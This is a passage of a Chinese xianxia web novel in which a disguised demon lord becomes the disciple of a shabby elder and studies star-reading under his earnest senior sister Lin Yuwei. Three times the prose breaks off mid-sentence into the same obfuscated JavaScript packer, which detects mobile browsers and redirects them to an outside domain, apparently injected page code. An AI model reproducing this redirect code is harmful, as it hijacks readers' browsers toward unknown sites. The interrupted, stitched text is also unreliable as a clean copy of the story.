蔺无咎生性刻薄,若非习惯用温顺的假面示人,恐怕一张嘴就能把人给毒死。 但,这回真不怪他。 棠九枝身材矮小干瘦,生得贼眉鼠眼,枯发稀疏宛若野狗毛,浑身上下无论是哪处,都与“仙风道骨”四个字八竿子打不着一块。因模样难看得处处不同寻常,反倒叫人说不出什么独特之处。 若真要细究,细脖长如野鸡成精得算一个。 蔺无咎在棠九枝那张摇摇晃晃的桌前坐下,顶着林予微期待的目光,十分凑合地喊了声:“弟子沈肖见过师父”。 野鸡精师父也不计较,缓缓扯动嘴角,企图露出一个和蔼可亲的笑容,松松垮垮的脸皮褶成一叠,以至于本就无法入眼的样貌看起来更加面目可憎,颇有些穷凶极恶的味道。 一时让蔺无咎这位货真价实的毁世魔头都有些自愧不如——毕竟他还做不到一张脸就能把人吓死的地步。 “好徒儿。”野鸡精师父点头应了一声,继续保持“和蔼可亲”的微笑。 见师弟开口唤了师父,此事估摸着就这么定下了,林予微也算是吃了颗定心丸,欢天喜地地夺门而出:“既如此,师父师弟你们先聊,我去替你们准备敬师茶!” 不等棠九枝拦她,林予微早就跑不见了身影,他摇头叹了口气:“这孩子……” 紧接着,他收回视线,笑眯眯地对蔺无咎道:“微尘山不设虚礼,随性即可。” 这破山破屋的,一个野鸡精师父,一个棒槌徒弟,简直随性得无法无天。 蔺无咎心中冷笑,再一抬眼,却发现棠九枝正盯着他瞧。 起先蔺无咎并没有理会,就这么气氛微妙地坐了一会儿后,发现棠九枝还在看他,于是出声打断:“师父在看什么?” 棠九枝摇了摇头,笑呵呵地收回视线:“没什么,只是微尘山从前就为师与小微二人,如今又收了一个小徒弟,一时间颇有些感慨罢了。” 他捻着小胡子,又道,“你我既为师徒,定是天赐之缘。此次你既能通过清虚春试,想来天赋也不会太差。” 蔺无咎一时又有些好奇,那林予微这种“奇才”又是怎么被选入的清虚宗。 棠九枝沉吟片刻:“修道亦是修心,在正式修炼前,为师有些问题要问你。” 蔺无咎做出一副洗耳恭听的模样,心里却没有太当回事。 棠九枝抚平衣角,终于收起他那穷凶极恶的微笑,稍显严肃:“以你之见,何为是非,何为正邪?” 蔺无咎只当他要听些顺耳的话,佯装一身正气:“弟子不懂大道,以浅薄之见以为仙是魔非,仙正魔邪。” 大魔头虽不记得前尘往事,但还有些自知之明,通过外界传言,再加上他对自己凉薄虚伪性子的了解,不难猜出三百年前的他也不是什么好东西。 至于修真界这些人——在他眼中同样不是什么好东西,不过是一群道貌岸然,喜欢听些好话的小人罢了。 蔺无咎以为自己的答案无可挑剔,可棠九枝却摇头:“那为师问你,为何是,为何非?为何正,为何邪?” 哪有那么多为什么? 蔺无咎心中不屑。 是非正邪生来就是如此。 棠九枝盯着他的眼睛,缓声道:“成见先于是非。” 蔺无咎没有吭声,只是敷衍地想:自古仙魔不两立,世人皆知。三百年前这群仙门正派不是也打着为民除害的口号,将他赶尽杀绝吗? 见他不回答,棠九枝也不为难,捋着小胡子慢吞吞道:“物无非彼,物无非是[1]。仙魔之别,正邪是非,实则难以分辨。” 蔺无咎眯起一只眼。 他蔺无咎虽不是什么好东西,但好歹也清楚仙魔之别,这长脖老修士敢出此言,怕是修得比他这个魔头还歪。怪不得林予微被他教了这么多年,还是没摸到修仙的门道。 棠九枝似乎并未发现他的心不在焉,继续摇头晃脑地向他灌输自己的心得:“我者,真我也,人之性也。[2]……拘于形体,役于凡尘……” 蔺无咎一边听着他胡言乱语,一边刻薄地心想:他那师姐没有遁入魔道,至今还是一副缺心眼模样,或许也算是另一种意义上的天赋异禀吧。 “……修炼即为绝尽尘心,看透真我。” 这老神棍说起话来没头没尾,玄之又玄的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447118|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔺无咎当然不会放在心上,表面还是稍做了点功夫,谦顺颔首:“多谢师父提点。” 还以为这微尘山还有什么不同寻常之处,如今看来也不过如此。 胡说八道的老神棍带着一个胡说八道的小神棍,倒也算是一脉相承。 棠九枝讲完了大道理,又笑眯眯地询问他:“世间道法万千,我清虚宗弟子多走红尘道,你可有想学的?” 大魔头提不起半点兴致,语气毫无波澜,淡淡道:“但凭师父安排。” 棠九枝:“不如就与你师姐一样,修天衍道吧。” 天衍道? “就如此。”棠九枝想了想,自顾自点了一下头,似乎是对自己的安排十分满意,“你师姐学了十一年,基础扎实,以后你就跟着你师姐吧。” 十一年的一境弟子、基础扎实…… 蔺无咎心中发笑,一时有些分不清他这长得像是被拔了毛的野鸡精师父究竟是真情实意,还是刻意嘲讽。 - 行过了师礼,棠九枝忽有困意,一番叮嘱后,便将二人打发离开。 林予微则带着小师弟去收拾偏院。 虽说好二人是一起收拾,但真正的体力活都是她一人在干,蔺无咎就跟在一旁装模作样地打打下手,顺便恰到好处地关心两句,林予微就好像跟打了鸡血似的,自个儿吭哧吭哧干完了。 所幸偏院中的杂物不算多,一个上午就收拾得七七八八。 眼看屋中只剩个旧架子还没搬出,林予微便让小师弟先到门口休息一会儿,转身去整理架上的书卷。 蔺无咎靠在门口的竹椅,有一搭没一搭地开始与她闲扯,最后才绕到了他想问的话题。 “师姐可曾听说过名为逍遥山的门派?” “逍遥山?”林予微拧眉思索片刻,最后摇了摇头。 蔺无咎目光稍偏,望着她的神情变化,看起来不似说谎。 他压下眼眸,有些不解。 这凡人在微尘山待了十一年都不曾见过那幻境,难道真的只是他自己的幻觉? “师弟为何突然问这个?” 蔺无咎回过神,抬眼笑道:“没事,只是方才看到一本书里写的,随口问问罢了。” 林予微不疑有他,点了点头:“十州四海内,修仙门派数不胜数,其中以清虚宗、源天派、游仙门为首,那逍遥山或许只是个小门小派。师父见多识广,师弟若有兴趣,到时候我再帮你问问师父。” 蔺无咎冲她微微一笑:“多谢师姐。” 大抵是还没有做好一个师姐的底气,她虽与小师弟相处也有几日,但一见小师弟乖巧地唤着自己“师姐”的模样,还是觉得浑身的骨头有些轻飘飘的。 林予微转开面孔,加快收拾的速度:“应、应该的。” 她脑袋里犯着浑,不免显得有些手忙脚乱,也不思考是否拿得下,就这么抱起半人高的书卷跨出了房门。 果不其然,刚一出门,就被地上的碎石绊了一下。 不过好在一摞书卷中只滚下一张画卷,顺着台阶就这么铺开了。 蔺无咎坐在门外,将整个过程收进眼底,心想,看来打了十一年的基础里也应当练了扎马步,只是稍微踉跄了一下就迅速摆正身形,确实扎实。 大魔头一贯刻薄,但在人前总归还要装作一副人模狗样,起身去帮她捡地上的画。 蔺无咎弯身时随意扫了一眼,发现这是一位单手负剑的青年画像。 ——有鼻子有眼,长得倒还像个人。 他迅速将画卷收起,递给林予微,顺口问了句:“这画上的人是谁?” 林予微伸手接过,瞥了一眼泛黄的纸页,皱起眉头沉默片刻,又像是有什么难言之隐般挤出两个字:“师父。” 蔺无咎:“?” “准确来说应该是师父年轻时的画像。” 至于是真是假,她也不得而知,反正之前师父就是这么和她说的。 画像上的人剑眉星目,五官俊朗,看起来就气宇不凡,毕竟当年她无意瞧见这幅画像时,也惊讶了好久。 蔺无咎神情复杂地收回视线。 或许他确实缺少点想象力,眼下是无论如何也无法将画像上的男子与那枯瘦如柴、长相猥琐的老神棍联系起来。 7. 步天歌 林予微精力旺盛,这头才为小师弟腾出一间空屋子,转眼又抱着一沓卷轴跑来找他。 自师父将小师弟入道一事交付她后,林予微瞬间觉得自己的身上就有种被委以重任的使命感。 她装模作样摆出一副长者姿态,口吻故作沉稳老练:“小师弟如今你既入微尘山,定要好好修炼,不可懈怠,争取半年后通过弟子考核进入内门!” 也不论蔺无咎答不答应,她就将卷轴一叠一叠往他面前送:“这些你先将就看着,待会儿师姐再替你找些来。” 将就看……? 蔺无咎看着面前堆成小山的书卷,额角青筋直跳,他先是沉默半晌,忽然又觉得有些头疼。 冲星先是跳出来骂了几句“岂有此理”,然后一脸欠揍地怼着蔺无咎跟前,幸灾乐祸道:“主上,你不会真要跟着这凡人修仙吧?” 它啧啧称奇:“那主上岂不是古往今来,第一位修仙的魔族了!” “……”蔺无咎一把将它塞进银铃,让它滚。 林予微不曾注意小师弟僵硬的面孔,只是一味卖力地往他屋里搬书:“不过书中内容晦涩难懂,一味看书很难理解其中玄妙,等到晚上师姐再带你好好体悟。” 蔺无咎不解:“为何是晚上?” 林予微笑眯眯道:“天衍道本就如此。今日天气好,晴朗无云,正适合辨星。” 说着,她又从小山堆中抽出一本书摆在他面前:“师弟今日还是先从这本学起吧。” 蔺无咎低头瞥了一眼书封。 ——《步天歌》 “当年师姐就是从丹元子的《步天歌》学起,全文三百多句,足足背了将近一年呢!” 相较于蔺无咎耷拉着眼皮,靠在书案前那副半死不活的模样,林予微显得格外斗志昂扬,她一边上蹿下跳,一边不时手舞足蹈地比画,语气骄傲道,“当初师父还夸我背得快,很有天赋!” 蔺无咎原先还有些兴致恹恹,打不起精神,这下倒是给听笑了。 三百多句,一天一句,竟然能背了一年。 过了那么久,就算院外拴着的那头蠢驴也该会背了。 蔺无咎提起了兴致,以手撑面,终于掀起眼皮打正眼去看她—— 若仔细看其实林予微生得十分清隽秀气,大概是因为修为太差没什么同龄玩伴,鲜少与人接触,她并不懂得如何拾辍自己,整日灰头土脸,发髻只会扎简单的马尾——甚至还是歪的。 除了在飞仙关见到她的那日,身上的衣服也永远都是那几件洗得有些发白的外门弟子校服。 察觉到小师弟的目光,林予微有些不好意思。 “师弟,怎么了?” 蔺无咎散漫扬眉,勾唇浅笑,拖长音调道:“没什么,就是觉得师姐还真是天赋卓绝,是个不可多得的纵世奇才。” 大魔头惯是会拿腔作调,若换作旁人定是以为他在刻意嘲讽,但蔺郁微实在太会伪装了,眼神真诚,语气诚恳到让人抓不住任何把柄。 “倒也没……没那么厉害哈哈哈。”林予微摸了摸鼻子,一时惊觉自己牛皮吹过了头,更加不好意思起来。 她轻咳几声,意图转移话题,兀自将书页翻开,凑到他跟前道:“这样,师弟你呢就先看几遍,等过些日子熟悉了再背。” 他也要背? 蔺无咎脸上的笑容瞬间凝固。 仙魔自古不两立,修道的书里大抵是有什么东西在克他,大魔头只是扫了眼上面的鬼画符,忽然觉得头更疼了。 他不动声色缩回了手,却一把被热情的林予微抓住。 “对了,师弟你可还记得从前家住何处,可曾学过书?这些字都认得吗?你若是有字不认得尽管问,师姐就在这里帮您排难解惑!” “认得。” 蔺无咎硬着头皮,从牙缝里挤出两个字,并抽回自己的手。 林予微松了口气:“那就好,识字就能读书,读书就能修道。” 她站起身,拍了拍身上的灰:“那师弟你就在这看吧。” 这些见了鬼的破书他才不屑看一个字。 大魔头坐于案前,正等着林予微离开,静了半晌,却见她没有挪动半步的意思。 蔺无咎不解抬头,林予微却使劲冲着他使眼色:“师弟你快看呀。” 大魔头只好耐着性子将书页往后翻了翻,做出了最后的让步。 “不行,这哪能记得住?” 看着他这副姿态懒散的模样,林予微似乎想起什么,立马找出一堆纸笔,塞在他手里,“距离弟子考核只剩六个月,这些时间怕是太过勉强,师弟还是先抄一遍吧。这样记得更牢一些!” “……” 别得寸进尺! 蔺无咎面上不动声色,袖下却险些折断手中的笔。 他强压心中怒火,慢条斯理地撑坐起身体,看向林予微,温声劝道:“师姐,今日收拾房间也是劳神费力的,还是改日再学吧。” “这怎么行?!” 蔺无咎原笃定林予微定会答应自己的要求,却不料被林予微义正词严地拒绝了。 她眉目肃然,语气近乎严苛:“修行一事绝不可懈怠!” 林予微没什么心眼,又是个好说话的性子,只要小师弟在她面前装装憔悴、咳嗽几声,凡是有要求,她定是义不容辞。 唯独修炼不行。 旁人都说她“天资平平”“不堪大用”,可林予微从不这么认为。 在她看来,修为不好是师父能力有限;通过不了弟子考核,那是旁人都有搭档,独她一人没有。 如今好不容易有了小师弟,通过弟子考核在望,她自是不肯松懈半分。 林予微义正词严:“‘惰’为修行大忌。若师姐今日纵容你才是真的害你。” “师弟可曾听说过……” “……” 一个小小一境人族修士,大道理还挺多。 蔺无咎见横竖躲不过,心里盘算着日后新仇旧恨一起算,凑合地抄了几行字,又当着她的面背出了其中一篇,林予微这才放过他。 “师弟你好厉害啊!这么快就背完了二十八宿其一!”林予微端看着他抄写的篇文,越看越满意,越看越觉得自己未来仙途坦荡,弟子考核有望。 蔺无咎则配合她,虚情假意地恭维:“还是师姐教得好。” 这句话林予微很是受用:“哪里哪里,是师弟聪慧过人,定要比那些内门长老的弟子还要有天赋!” “当初这一段我可是背了足足一个月呢!” 这凡人变脸速度倒是极快。 方才还一副苦大仇深的神情,如今竟又高兴得眉飞色舞。 蔺无咎歪头看她,竟觉得有些稀奇,对手中的《步天歌》似乎也没那么抵触。 他看着林予微手舞足蹈地跑出房门,蹦蹦跳跳地跑到大胖驴跟前站定,拔了它嘴里的草,将方才他抄的东西怼在驴鼻前,煞有其事道:“看到了没?我师弟厉害吧!还不到半个时辰,他可是将角宿一整篇背下来了!” 不就是背了一段书? 蔺无咎心中发笑。 在若旁人听见,指不定以为他是做了一件多么了不得的大事。 可林予微才不管这么多,在她眼里这就是件了不得的大事,此事可关乎着她的未来仙途。 林予微早就打算好了,三个月培养师弟引炁筑台,六个月通过弟子考核根本不是问题。 至于仙剑大会问鼎夺魁。 她厚颜无耻地盘算:就当她谦虚些,三年内达成就可以了。 “欸!不许乱咬!”白眼听不懂她叽里呱啦说些什么,撅起驴嘴露出几颗板正的大黄牙就准备先嚼一口再说,好在林予微手疾眼快,将抄书收了回来,顺手又凶巴巴锤了一下它的脑袋。 她这边对着白眼挥舞拳头龇牙咧嘴的,可一转头又冲着屋内的小师弟笑眯眯道:“小师弟今天没吃东西,定是饿了吧?师弟你先休息,师姐先去帮你到膳堂打点吃食回来!” 不等蔺无咎开口拒绝,林予微便已欢天喜地跑远了。 - 人族修士若升至三境,就辟谷不食。 三境修为并不算难,寻常修士短则一两年,多则五六年总会突破至此。所以十年间,清虚宗膳堂中的弟子来来去去已经换了好几拨,唯独林予微一人多年修为不曾精进,是膳堂铁打的常客。 她虽修为不行,但胜在胃口好,整个膳堂上下无一人不认得她。 林予微向师父讨要了几张瞬移符,拎起食盒就风风火火地闯入膳堂。 “是小微来了?” 她前脚刚踏进门,立马就听到有人喊她。 林予微提着食盒笑眯眯地觅着声音方向,蹦蹦跳跳地跑去:“是我,李婆婆!” 据闻原先清虚宗的膳堂都由长老带领着一帮外门杂役弟子打点,可这些弟子做饭实在难以下咽,膳堂长老只好从山下附近镇子里请了几名厨娘与膳夫来。 自林予微被师父捡回微尘山起,李婆婆就一直在这了。 她轻车熟路地将食盒递了过去,嗅着菜香气往后面的菜盘里看:“还是老几样,然后再加个蟹粉狮子头……豆腐羹和蛋煎包!” 李婆婆笑着去帮她看菜:“微尘山上是来客人了?” 李婆婆的问话正中林予微下怀。 整个清虚宗她能搭上话的人不多,李婆婆算是其中一个,今日她跑来膳堂也是想和李婆婆分享这件天大喜事。 林予微左右看了看,刻意压低了嗓音,可语气里是掩盖不住的兴奋:“我有小师弟啦!” 这孩子没什么心眼,一向藏不住事,李婆婆早就听说过此事,笑呵呵地顺着她的话问:“就是上次你师父答应你收的那个徒弟?” “嗯,正是!”林予微眼神明亮,笑意都快从眼底溢出,“他叫沈肖,今后就与我一起待在微尘山了!” 说起小师弟,她是打心底的欢喜:“小师弟长得好看,天赋也是极好!改日我将小师弟一起带来!” “好。”李婆婆笑着答应,盖上食盒前又习惯性给盘中添了几块肉才递了出去。 林予微也不推辞,笑眯眯地接过。 “谢谢婆婆!” 当初林予微刚被师父带回清虚宗的那几年,长得又瘦又小,李婆婆年轻时因妖邪失去亲人,无牵无挂地在山中做着膳堂帮工,看着瘦瘦小小、受人排挤的小予微总会想起自己那双儿女,忍不住心疼地给她多加几块肉。 久而久之,这也变成了一种习惯。 不过过去的事林予微也是听旁人说起,她怕婆婆伤心从未主动问起,只是每次会找李婆婆闲聊几句肉的味道如何、她多吃了几碗饭,最近长高了多少,又胖了多少。 “那李婆婆我就先回去啦!改日我定将小师弟带来——” 林予微提起食盒,朝她挥了挥手,蹦蹦跳跳往膳堂外跑。 李婆婆看着她上蹿下跳的模样,只是笑着摇头叹气。 “这孩子……” - 林予微抱着食盒先去了师父的屋子,留下几道小菜后才跑去找小师弟。 蔺无咎见她从棠九枝屋中出来,有些诧异:“师父也要吃饭吗?” 林予微将饭菜一一拿出,在院中的石桌上摆好:“师父三百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447119|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多岁了,自然不需食五谷。不过师父嘴馋,喜素食,偶尔吃一下也无妨。” 蔺无咎听罢,面色古怪地朝棠九枝的住处看了一眼。 这长脖子老山鸡,竟能活三百多年? 人族修士从四境开始,每升一境便能延长百年岁寿。若修得七境圆满,便可飞升成仙,与天同寿。 ——算起来这个棠九枝至少有六境修为。 老山鸡若有六境修为怎会被放逐到宗门边缘,做一个寂寂无名的外门长老?这么多年又怎会只收了个林予微这样的徒弟? 蔺无咎压下眼皮,心中嗤之以鼻。 此事怕是只有林予微这个缺心眼的棒槌才会信以为真。 “师弟?” “师弟!” 见小师弟一直愣在原地,林予微伸手在他眼前晃了晃。 “师弟愣着干什么?快来吃饭呀!” “没什么。”蔺无咎猛然回神,“我不饿,师姐还是自己吃吧。” 说着他后退一步就要走。 林予微连忙上前拦他:“欸!别走呀!” 她一把抓住蔺无咎的胳膊,拽着他就往石桌方向走。 “小师弟你弱不禁风的,之前又在飞仙关受了惊吓,不吃饭怎么行?!咱们修道之人,自然得先有个强壮的体魄。” 不等蔺无咎开口说些什么,就被林予微按在了桌前。 她自个儿找了个位置坐下,将筷子递了上去:“这几日师姐我可是观察过了,你吃饭从未超过三口,这哪行?” “你平日定是挑食,吃得太少了,才会这副病恹恹的样子。” 蔺无咎推脱道:“师姐,我真不饿。” “师弟你放心,今后有师姐一口定有你一口,师姐绝不会饿着你的!什么活物在我手里定是养得白白胖胖,结实得很。” “你看人家白眼,当初师父将它捡回来的时候可瘦了,如今多胖呀,都快胖得走不动道了。” 白眼竖起驴耳,瞪着眼睛朝这边看了一眼。 林予微似乎并未觉得有什么不妥,继续举例:“还有无镛山下那条看门的小白狗,当年就剩半口气,还不是我帮忙喂得油光水亮,肚皮都快拖地了……” “……” 蔺无咎额角一跳。 尽拿些畜生和他比。 - 蔺无咎是被林予微强塞了大半盘的蟹粉狮子头后,才得以狼狈逃脱。 回去后,他越想越觉得不对劲,在冲星的分析中得出自己今日过得实在被动,完完全全被那林予微压了一头。 冲星还不忘在一旁煽风点火:“从前都是主上您说一不二的,这凡人分明就是蹬鼻子上脸,主上千万不能被她牵着鼻子走。” 想起林予微白天说要带他辨星一事,天刚暗下,不等对方来寻,大魔头就主动走出了屋门。 他与林予微虽不是同一个院子,但中间只隔了一道木栅栏,透过栅栏缝隙能够轻而易举看清对面的景象。 蔺无咎刚从屋中走出,就瞥见林予微正坐在窗前,不知低头在数什么。 他绕过木栅栏,抬步走近。 大抵是思绪太过投入,林予微并未察觉外面的动静,自顾自地在满桌碎陶片中挑出铜板。 “一百零八、一百零九……一百一十二……” 因为是外门弟子的缘故,宗门给的月俸不多,正常吃穿已经算是有些捉襟见肘,林予微偶尔会去帮想偷懒的同门打扫武场,或是帮忙寻找丢失灵兽,这些年也稍稍攒了点积蓄,存够了两只小陶猪存储罐。 不过前段日子为迎接小师弟,她花了大半积蓄买了件像样的衣裙,结果才穿了一次就被白眼给嚼烂了,她到现在还有些心疼。 林予微在心中算了一笔账,且不说她答应要帮小师弟将银铃从典当铺买回来,就这么一百多文钱也不知够不够她与师弟撑到下次发月俸。 想到这里,她以手撑面,深深叹了口气。 今天光是去膳堂就花了她快二十个铜板。 林予微想得出神,并未察觉小师弟已站到窗前。 直到蔺无咎的指尖轻叩窗沿,她才回过神。 “师姐不是说今夜要带我辨星吗?”他的目光从桌上的碎陶片上一扫而过,瞧见林予微耷拉着眉眼的模样,弯身半撑窗沿,嘴角挂着浅浅的笑意,温声问道,“这是在做什么?” “师姐愁眉苦脸的,是有什么难处?” “没、没什么。”林予微忙不迭摊开书卷盖住桌上的碎陶片与铜钱。 她早已打定主意,不能让微尘山的琐事去劳小师弟的心神,需得让他认真修炼应对半年后的弟子考核。 生怕小师弟察觉出什么端倪,她慌慌张张站起身,跑出屋门拉着蔺无咎的手腕就往院外走:“我们这就去辨星!” 林予微口中所谓“辨星”,无非就是找个高处空旷无人的地方躺着数星星。 她在距离屋舍不远处的一处干草堆前找了个舒服的姿势躺下。 如今才入了春不久,山中有些寒凉。 林予微裹着厚披风,鼻子还是被冻得发红,她哈了口热气,先搓热了手,扭头拍了拍身侧的位置示意师弟也躺下来。 “小师弟,你站在那做什么?快来——” 见林予微的躺姿,和周围狗啃似的环境,蔺无咎心中颇为嫌弃。 可经不住她的再三邀请,大魔头只好强撑着笑脸僵硬地在一侧坐下。 “师弟,你看。” 他刚一坐下,林予微就抬手指向夜空。 蔺无咎顺着她所指方向仰头望去—— 无垠天幕,群星璀璨。 8. 天衍道 若非林予微提起,他倒还真未注意头顶的漫天星斗。 万籁俱寂,朦胧夜色幽幽罩落。 不知为何,蔺无咎的心也难能平静了下来。 第一次教人,林予微还有些不太适应,她别开脑袋,在小师弟看不见的地方小心翼翼做了几个深呼吸后,才开口问:“师弟可还记得今日背的《步天歌》是以什么来划分星区的。” 蔺无咎倒也配合:“三垣四象二十八星宿。” 林予微满意地点了点头,扭头看着他,又问:“那何为星宿?” 蔺无咎没有回答。 他今日能背下《步天歌》,纯属因为记性好,并不理解其中含义,也不想理解其中含义。 林予微仰头看天,回忆着年幼时师父的教导。 “天地开辟,万物浑浑,无知无时[1]。上古时便有人观乎天文,以察时变[2],此谓‘观象授时’。日月五星运行轨迹称“黄道”,而天之四灵环列四方,为观测轨迹,上古先民又在天上划分出二十八个星区,寓指日月五星栖宿场所,谓之星宿。而天衍道就是由此而来。” “大衍之数五十,天衍四九,人遁其一[3]。天衍道与其他道不同,以四象三垣对应七境,分别为苍龙、白虎、玄武、朱雀、紫微、太微、天官……而每一境下又有七小境,共计四十九境。” 蔺无咎这会儿算是明白了,她为什么这么多年修为一直停留在一境。 天衍道有四十九境,而红尘道、无情道这类修真中最寻常的道仅有七境,每一境下若要细分顶多也就前、中、后三期。 也就是说林予微只有修满天衍道的七境,才能达到外界眼中满一境的修为。 蔺无咎心中冷嗤:不自量力。 大道三千,她学什么不好,偏偏给自己选了一条最难的道。 借着昏暗夜色,大魔头毫不掩饰眸底的轻蔑,可当林予微转头看向他时,他又换上了那副温良无害的神情。 为满足心中好奇,他佯装关心询问:“那师姐如今修到天衍道的第几境了?” 林予微嘿嘿一笑,闭口不答,只是含蓄地伸出一根手指。 蔺无咎:“……” 林予微有些不好意思:“天衍道修行确实困难,是当初我求师父好久,他才肯教我的,师弟若是觉得太难,我让师父给你换其他的。” “不必。”蔺无咎开口回绝。 反正他又不是真来修仙的,学什么都没区别。 若要真要棠九枝亲自来教他,日后天天面对他那张惨不忍睹的脸,对他来说实在太过于残忍。 “我就与师姐一样走天衍道。” “真的?” 蔺无咎点头:“嗯。” “太好了。”得到小师弟肯定的回答后,林予微心底的踌躇与不安须臾间一扫而空,兴奋且卖力地将多年所学倾囊相授。 蔺无咎不懂她为何忽然如此高兴,只是默不作声地在一旁听。 “师弟你看,这天上的星星虽多,但其实很好辨认的,我们就从这个方向的北斗找起……” “……顺着北斗的斗柄画一条弧度,依次可以看到两颗亮星,大角和角宿一,这便是民间所说的双角东守,还有……” 她顺着白天蔺无咎背诵的内容,将对应星宿,与四季变化的方位一一指给他看。 张嘴那刻起,便一点也不带停。 “……参横斗转,那三颗竖着并列的星星就是参宿,等到晚些它们朝西而去,就会横躺下来……” 蔺无咎神色诧异地看向身侧指天辨星的少女——双眸明亮有神,讲到一些有趣的民间传闻时更是眉飞色舞,衬得五官极是灵动。 察觉到小师弟的目光,林予微转过头,疑惑道:“小师弟,怎么了?” “是哪里有不懂的地方?” 林予微教他并非照着那《步天歌》的枯燥内容再给他念一遍,而是融入了许多民间传说,讲着讲着她时不时就跑得没边了。 哪怕是几岁的孩童都能听明白。 蔺无咎微微移开视线,摇头:“没什么。” 林予微也没有多想,继续抬头教他辨星。 “师弟,你看再过些时日,苍龙星宿就从那个方向从地平线升起……” 蔺无咎侧过脑袋,余光再度扫过她的面孔。 还以为林予微这么多年停留一境是因修炼不勤的缘故,如今看来棠九枝那句“基础扎实”确实不假。 他随手指一颗星,她就能说出它的名字与由来。 蔺无咎的记性极好,林予微只讲了一遍,等她回头抽问时,他都能一一应答。 觉得今日也学得差不多了,林予微怕小师弟觉得枯燥乏味,又与他讲那些年幼时师父曾讲给她听的星君故事。 蔺无咎对这些杜撰之言自然没什么兴趣,看着林予微兴致高昂的模样,倒也没开口拒绝。 等她终于讲累了歇下。 蔺无咎似是无心开了口:“师姐,清虚宗虽多修红尘道与无情道,但别的道也是有的。师姐为何偏偏要选天衍道?” 还有如此看重那个弟子考核……从林予微这些天对他殷勤程度其实不难看出,她对自己这位小师弟如此在意,都是因为半年后弟子考核。 “我……” 旁人初入仙门,或许还会因为选择道法踌躇不定。 但林予微不同。 她忽然变得沉默,过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447120|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良久才开口:“我只有这一条路。” 蔺无咎诧异:“非天衍道不可?” “非天衍道不可。” “为何?” 林予微修习天衍道一事在清虚宗也不算什么秘密,当年还被不少人嘲笑自不量力。除了师父以外,小师弟还是第一个问她为何要选这条路的人。 “仙盟星魁楼中藏品千万,其中玄戈仙君佩剑‘太乙’就在其中。”林予微认真而又固执道,“唯有修炼与玄戈仙君一样的天衍道,才有机会拔出太乙剑。” 蔺无咎眉梢微挑,总觉得这名字有些耳熟。 她揉了揉鼻子,有些气馁:“不过,若想得到太乙剑,就必须在仙剑大会夺得魁首;若要参加仙剑大会,就必须成为内门弟子;若要成为内门弟子,就必须通过弟子考核。” 现如今,她连第一步都还没踏出。 蔺无咎还是不明白:“这柄太乙剑有何特别之处?” 林予微倏地转过头来,神秘兮兮地凑到他耳边,满脸认真地问:“师弟可听说过三百年前为祸人间的大魔头蔺无咎?” “……” 他谦虚道:“略有耳闻。” “当年玄戈仙君就是用这把斩魔剑封印的魔头蔺无咎!” 蔺无咎的眸底戾气一闪而过。 他想起来了。 就是传闻中那个带领众仙门将他一剑穿心,碎骨镇压的修士。 听说在将他封印后,那个修士也死了。 蔺无咎暗中盘算——待他寻回魔丹,灭了修真,定要掘地三尺寻到此人转世,将此人锉骨扬灰,永世不得轮回。 “而且我听仙门中的人说,封印并不牢固,那魔头随时可能卷土重来,半月前飞仙关的异象说不定就是那个大魔头干的!” “……” 蔺无咎双眸微微一沉,语气带着一丝若有若无的寒意:“所以师姐是想用这把剑再杀他一遍?” 林予微重重点头,眼底毫不掩饰对魔族中人的痛恶:“是!” 蔺无咎非但不生气,还有些好奇:“你见过魔祖蔺无咎?与他有仇?” 他死后,一睁眼就来到三百年后,能跟她一个十几岁的小丫头有什么交集? 林予微摇头:“没见过。” “那你为何要杀他?” 林予微原先还想说些什么,但想起师父叮嘱,便改口:“魔族生性凶残、嗜血滥杀,人人得而诛之,自然不能放过!” 她拍拍胸口,十分义气:“若到时魔头再次来犯,师姐定会好好保护你!” 蔺无咎垂下眼眸,嘴角扬起一个清浅的弧度。他似笑非笑、意味深长道:“那到时候师姐定要好好保护我……” 9. 猪头 自从这晚之后,蔺无咎在微尘山也变得格外配合,任由林予微拉着起早贪黑修炼,似乎真打算安心留下来好好做她的师弟。 当然,蔺无咎此人安得并非什么良善心思,纯粹是觉得林予微有些意思罢了。 他满心恶意地期待日后若林予微发现自己所护的小师弟,正是她口口声声要杀的大魔头时,会是一副怎样有趣的场景。 只可惜林予微是真心当他要留下。 通过几日的观察,蔺无咎也大概摸清了林予微每日的行踪。 她卯时一刻起床,在院中打坐,辰时前会再练一套剑法,然后休息一炷香的时间,回屋中看书。巳时去喊棠九枝起床,顺便把白眼牵出驴棚喂养。 他旁敲侧击打听,林予微除非有什么要事,譬如前段时日下山寻人,十年如一日就这么勤奋修炼,不敢有半分懈怠。 蔺无咎还从未见过如此勤奋且愚笨的人。 